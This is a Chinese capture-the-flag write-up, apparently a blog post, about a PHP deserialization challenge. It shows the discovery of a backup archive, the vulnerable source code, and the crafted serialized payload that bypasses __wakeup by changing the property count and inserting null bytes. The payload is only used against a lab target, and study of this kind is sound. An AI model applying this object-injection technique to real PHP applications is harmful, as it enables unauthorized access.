![](https://i-blog.csdnimg.cn/direct/d39a850eca304a3b920a570a7bb3e013.png)
进入靶场
提示了备份文件
抓包,扫描
![](https://i-blog.csdnimg.cn/direct/2413d6a1450f4598857c73fd5fc15ac5.png)
扫描出了两个有反应的
访问index.php没反应,但www.zip成功下载了文件
![](https://i-blog.csdnimg.cn/direct/1a0b35d34fb54bc4b0979bd2bc6634e4.png)
index.php里得到如下有用信息
php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
所以我们要通过GET 方式传递 select
参数的值,并对该值进行序列化操作
?select=
再去查看class.php
php
<?php
// 包含 flag.php 文件
include 'flag.php';
// 设置错误报告级别为 0,意味着不显示任何 PHP 错误信息
error_reporting(0);
// 定义一个名为 Name 的类
class Name{
// 定义一个私有属性 $username,初始值为 'nonono'
// 私有属性只能在类内部访问
private $username = 'nonono';
// 定义一个私有属性 $password,初始值为 'yesyes'
private $password = 'yesyes';
// 构造函数,当创建 Name 类的对象时会自动调用
// 接收两个参数 $username 和 $password,用于初始化对象的属性
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
// __wakeup 魔术方法,当使用 unserialize 函数对对象进行反序列化时会自动调用
// 此方法将对象的 $username 属性重置为 'guest'
function __wakeup(){
$this->username = 'guest';
}
// __destruct 析构函数,当对象被销毁时会自动调用
function __destruct(){
// 检查对象的 $password 属性是否不等于 100
if ($this->password != 100) {
// 如果不等于 100,输出提示信息,表明是黑客行为
echo "</br>NO!!!hacker!!!</br>";
// 输出用户名信息
echo "You name is: ";
echo $this->username;
echo "</br>";
// 输出密码信息
echo "You password is: ";
echo $this->password;
echo "</br>";
// 终止脚本执行
die();
}
// 检查对象的 $username 属性是否严格等于 'admin'
if ($this->username === 'admin') {
// 如果是 'admin',将全局变量 $flag 引入当前作用域
global $flag;
// 输出存储在 $flag 中的 flag 信息
echo $flag;
} else {
// 如果不是 'admin',输出友好提示信息,并表明无法提供 flag
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
// 终止脚本执行
die();
}
}
}
?>
得知username和password,且值为admin和100
还需绕过_wakeup方法
通过改属性个数实现
username=admin&password=100
其他好像不用看了,试着开始构造
php
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$a=new Name();
$b=serialize(@$a);
echo $b
?>
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
修改属性个数
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
因为是两个属性
添加%00
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
![](https://i-blog.csdnimg.cn/direct/fca7c6c4ea10423388e74b326f1290e6.png)
得到flag